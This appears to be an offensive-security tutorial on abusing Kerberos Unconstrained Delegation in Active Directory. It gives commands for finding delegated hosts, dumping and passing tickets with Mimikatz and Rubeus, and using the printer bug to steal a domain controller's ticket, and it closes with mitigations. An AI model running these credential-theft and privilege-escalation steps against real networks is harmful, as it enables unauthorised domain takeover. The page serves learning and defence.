Unconstrained Delegation

Kerberos Delegation allows for users to access resources on another server via a service that the user has access to. The service the user is connected to impersonates that user by resusing his credentials which then allows the user to gain access to that server.

For example, let's say a user wants to connect to a database on another server through a web service he already has access to. The web server will impersonate the user using his credentials which then allows the user to access the database.

The web service is able to do this because of its delegation rights. The DC, knowing those rights to delegate, sends a copy of the user's TGT along with the TGS back to the user before the user logs in to the service. The service then stores that TGT into LSASS.

Once the user needs to access the database, the service will use that TGT which was sent earlier to request a TGS to the database server. If the web service is listed as trusted to delegate, the TGS is granted and the user can connect to the database.

In general there are three types of delegation, Unconstrained Delegation, Constrained Delegation, and Resource Based Constrained Delegation.

Constrained Delegation limits the trusted-to-delegate service to delegate only to specific services. I have explained it in more detail here.

Unconstrained Delegation allows the 'first hop' service to request access to any service on any computer in the domain as a user.

When Unconstrained Delegation is enabled, the user's TGT is sent along with the TGS to the first hop service. That TGT gets stored in the server's LSASS which allows the service to take it out and delegate with it if necessary.

If we discover an account or service that has Unconstrained Delegation, we can escalate our privileges if we discover a Domain Admin or a higher privileged user connecting to that machine. We can then extract its TGT and reuse that ticket.

We may also be able to coerce higher privileged users to authenticate to that server too if we wish and then steal those credentials.

Attacks

Find Machines or Accounts With Unconstrained Delegation

  • From Powershell

# PowerView
Get-NetUser -Unconstrained
Get-NetComputer -Unconstrained

# AD Module
Get-ADUser -Filter {TrustedForDelegation -eq $true}
Get-ADComputer -Filter {TrustedForDelegation -eq $true}
Get-ADComputer -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
  • From Linux

# crackmapexec
crackmapexec ldap <ip> -u <user> -p <pass> --trusted-for-delegation 

# pywerview.py
./pywerview.py get-netuser -u <user> -d <domain> -p <pass> -t <dc> --unconstrained
./pywerview.py get-netcomputer -u <user> -d <domain> -p <pass> -t <dc> --unconstrained [--full-data]

# impacket - findDelegation.py (also finds objects with Constrained Delegation)
sudo python3 findDelegation.py <domain>/<user>:<pass> -dc-ip <ip>

Extract Tickets and Pass Them

  • If you have access to a computer that has Unconstrained Delegation you can extract the tickets using Mimikatz.

# From the Trusted-To-Delegate Computer
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'

# Then pass the ticket
Invoke-Mimikatz -Command '"kerberos::ptt C:\Users\..\[0;7756ee]-2-0-60a10000-Administrator@ticket.kirbi"'
  • Doing the same with Rubeus.exe

# Find Tickets
.\Rubeus.exe triage

# Extract the ticket you want
.\Rubeus.exe dump /luid:<luid> /nowrap
.\Rubeus.exe dump /user:<user>

# Then take the Base 64 encoded ticket and pass it
.\Rubeus ptt /ticket:<b64_encoded_ticket>

Using the Printer Bug to Make a High Privileged User Connect to the Service

As mentioned before, if we know a computer that has unconstrained delegation we can try to get top-level users such as Domain Admins to connect to the computer.

One such way to do so is via the Printer Bug (CVE-2019-1040).

  • From the compromised server with Unconstrained Delegation we can monitor logon events

.\Rubeus.exe monitor /interval:5 /nowrap

Now we have two ways to get the DC computer account to connect.

  1. From our current Powershell session run MS-RPRN.exe

.\MS-RPRN.exe \\<dc_domain> \\<unconstrained__server_domain>

or

  1. Run printerbug.py from your linux with whatever creds you have

python printerbug.py <user>@<dc_domain> <unconstrained_server_domain>

You should now see in the Rubeus session a ticket from the DC machine account. You can now pass that ticket with Rubeus and then do something like execute DCSync.

Mitigations

  • Never use Unconstrained Delegation unless absolutely necessary. Instead, prefer Constrained Delegation.

  • For privileged accounts, make sure to set "Account is sensitive and cannot be delegated".

  • Disable the Print Spooler service on DC and Domain Admin systems to prevent the Printer Bug from being exploited.

  • Since this can also be abused across trusts, disable TGT delegation across trusts as well.

Last updated